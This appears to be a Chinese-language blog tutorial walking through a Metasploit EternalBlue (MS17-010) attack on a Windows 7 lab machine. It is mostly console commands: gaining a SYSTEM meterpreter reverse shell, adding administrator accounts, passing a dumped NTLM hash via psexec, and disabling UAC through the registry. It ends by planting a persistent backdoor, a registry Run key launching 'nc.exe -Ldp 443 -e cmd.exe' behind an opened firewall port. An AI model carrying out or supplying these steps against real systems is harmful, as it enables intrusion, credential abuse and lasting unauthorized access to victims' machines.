msf利用ms17-010永恆之藍獲取win7 shell並留後門

思路
1.判斷靶機是否存在ms17-010漏洞
2.攻擊靶機獲得shell
3.創建用戶賬號(知道原賬號、密碼則可省了,直接用原用戶賬號代替)
4.留後門


實驗開始:
一:判斷靶機是否存在ms17-010漏洞

sf5 > use exploit/windows/smb/ms17_010

二:攻擊靶機獲得shell
1.調用ns17-010永恆之藍
2.設置payload
3.設置lhost、rhost等參數,跟情況而定。
4.run/exploit


設置exploit攻擊模塊、payload攻擊載荷模塊

sf5 > use exploit/windows/smb/ms17_010_eternalblue 
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.72.131
lhost => 192.168.72.131
msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.72.128
rhosts => 192.168.72.128
5 exploit(windows/smb/ms17_010_eternalblue) > run

得到以下結果,攻擊成功
在這裏插入圖片描述
查看下此用戶的權限

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

三、創建用戶賬號
到此靶機就攻擊成功了。接下來可以創建用戶賬號了。創建賬號有兩種方式。
方式一:利用msf的post後滲透攻擊模塊,直接在meterpreter下創建,這種創建的賬號直接就是administrators權限。

meterpreter > run post/windows/manage/enable_rdp

在這裏插入圖片描述

meterpreter > run post/windows/manage/enable_rdp USERNAME=test PASSWORD=123456

在這裏插入圖片描述
方法二:通過shell進入靶機,在靶機裏創建用戶賬號。

meterpreter > shell
C:\Windows\system32>net user test1 123456 /add 
C:\Windows\system32>net localgroup administrators test1 /add
C:\Windows\system32>net user test1

通過創建用戶,添加到administrators用戶組,創建出來的用戶賬號也是administrators權限。
在這裏插入圖片描述
此時你就可以遠程登錄靶機,登錄靶機的方式依然有兩種。
第一種:遠程桌面登錄

root@kali:~# rdesktop 192.168.72.128

在這裏插入圖片描述
在這裏插入圖片描述
第二種:SAM值登錄
SAM值登錄要注意以下幾點:
1.獲取SAM密碼
2.關閉windows的UAC
3.psexec模塊連接登錄

1.hashdump獲取密碼
在這裏插入圖片描述
2.關閉UAC
關閉UAC需要重啓才生效
關閉UAC方式一:
鏈接:link
http://www.win7zhijia.cn/jiaocheng/win7_26850.html
關閉UAC方式二:

meterpreter > shell

C:\Windows\system32>cmd.exe /k %windir%\System32\reg.exe ADD
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t
REG_DWORD /d 0 /f

參數說明
ADD 添加一個註冊表項
-v 創建鍵值
-t 鍵值類型
-d 鍵值的值

3.psexec模塊連接登錄

msf5 exploit(windows/smb/webexec) > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/psexec) > set lhost 192.168.72.131
lhost => 192.168.72.131
msf5 exploit(windows/smb/psexec) > set rhosts 192.168.72.128
rhosts => 192.168.72.128
msf5 exploit(windows/smb/psexec) > set smbuser test
smbuser => test
msf5 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
smbpass => aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
msf5 exploit(windows/smb/psexec) > set smbdomain workgroup
smbdomain => workgroup
msf5 exploit(windows/smb/psexec) > run

如果UAC沒關此時就會出現Exploit failed [no-access]: RubySMB::Error::UnexpectedStatusCode STATUS_ACCESS_DENIED的狀況。
在這裏插入圖片描述
關閉UAC的後登錄成功截圖
在這裏插入圖片描述
至此遠程登錄靶機就成功了。

四、留後門
1.關閉UAC(以上已關閉)
2.開啓win7主機默認共享,以便於遠程執行命令。
3.上傳瑞士軍刀nc.exe到windows主機上。
4.將nc添加到開機啓動項
5.開啓windows443端口
6.重啓,測試後門。


1.關閉UAC,以上步驟已做
2.開啓win7主機默認共享

C:\Windows\system32> cmd.exe /k %windir%\System32\reg.exe ADD
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v
LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

3.上傳nc.exe到windows中
注:kali中集成了nc.exe,默認在/usr/share/windows-binaries/nc.exe下。上傳到system32是便於隱藏。如果win7是64位的,那麼你上傳到system32的文件回默認被轉到syswow64文件夾中區。但這不影響。

meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32

4.將nc添加至啓動項

meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe'

5.開放win7 443端口

C:\Windows\system32> netsh firewall add portopening TCP 443 "xuegod443" ENABLE 

6.重啓win7並測試後門
強制重啓

C:\Windows\system32>shutdown -r -f -t 0

測試後門

root@xuegod53:~# nc -v 192.168.72.128 443

能重新進入則後門留成功。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章